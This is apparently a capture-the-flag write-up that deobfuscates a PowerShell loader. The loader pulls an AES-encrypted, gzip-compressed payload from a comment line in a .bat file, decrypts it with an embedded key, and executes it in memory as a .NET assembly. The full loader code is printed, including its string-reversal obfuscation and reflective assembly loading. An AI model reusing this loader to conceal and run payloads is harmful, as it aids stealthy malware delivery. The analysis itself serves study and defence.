This challenge was not too easy, but a lot of fun to solve.
We have an obfuscated Powershell script as well as a "secret map" and a bunch of .bat files.
The code loads and executes an encrypted and compressed PowerShell script. The code performs several cryptographic and compression operations on an encoded PowerShell script. The original script is first encrypted using the Advanced Encryption Standard (AES) algorithm in Cipher Block Chaining (CBC) mode with PKCS7 padding. The script is then compressed using GZIP compression. The encrypted and compressed script is loaded into memory and decrypted using a pre-shared symmetric key and an initialization vector (IV). The decrypted script is then decompressed and executed. The following is a breakdown of what each section of the code does:
$iofile = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('script.bat').Split([Environment]::NewLine)
# This line opens and loads a file named "script.bat" into a string array called $iofile.
foreach ($string1 in $iofile) { if ($string1.StartsWith(':: ')) { $substring1 = $string1.Substring(3) break } }
# Iterates over the $iofile array and extracts the string that starts with "::" and stores it in $substring1. This string happens to be the encrypted and compressed PowerShell script from the first step.
$codedata = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($substring1)
# The string $substring1 is converted from base64 to a byte array, decrypted using AES in CBC mode, and stored in $codedata as a byte array.
$cryptoobject = New-Object System.Security.Cryptography.AesManaged; $cryptoobject.Mode = [System.Security.Cryptography.CipherMode]::CBC; $cryptoobject.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $cryptoobject.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20='); $cryptoobject.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==')
# This section creates a new AesManaged object and sets properties such as Cipher mode, padding mode, key, and IV for decryption.
$decryptor = $cryptoobject.CreateDecryptor(); $codedata = $decryptor.TransformFinalBlock($codedata, 0, $codedata.Length); $decryptor.Dispose(); $cryptoobject.Dispose()
# This section creates a decryptor object using the AesManaged object created in the previous step, and decrypts the byte array $codedata. It then disposes of the decryptor and AesManaged objects.
$memorystream1 = New-Object System.IO.MemoryStream($codedata); $memorystream2 = New-Object System.IO.MemoryStream; $gzipstream = New-Object System.IO.Compression.GZipStream($memorystream1, [IO.Compression.CompressionMode]::Decompress)
# This section creates a pair of MemoryStream objects, $memorystream1 and $memorystream2. It also creates a new GZipStream object using $memorystream1 and sets it to decompress the contents of the stream.
$gzipstream.CopyTo($memorystream2); $gzipstream.Dispose(); $memorystream1.Dispose();
echo $memorystream2
$memorystream2.Dispose(); $codedata = $memorystream2.ToArray()
# The compressed data is copied from $memorystream1 to $memorystream2. $memorystream1, $memorystream2, and $gzipstream objects are disposed of. The decompressed data is converted to a byte array and stored in $codedata.
$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($codedata); $PtfdQ = $gDBNO.EntryPoint; $PtfdQ.Invoke($null, ([string[]] ('')))
# The byte array $codedata is converted to an assembly and executed. The entry point of the assembly is obtained and invoked with an empty argument list (). The PowerShell script is now decrypted, decompressed, and executed.
Since the code, decryption key and all other information is contained in the script, we can decode the cipher. The encryption was just a more sophisticated obfuscation method here.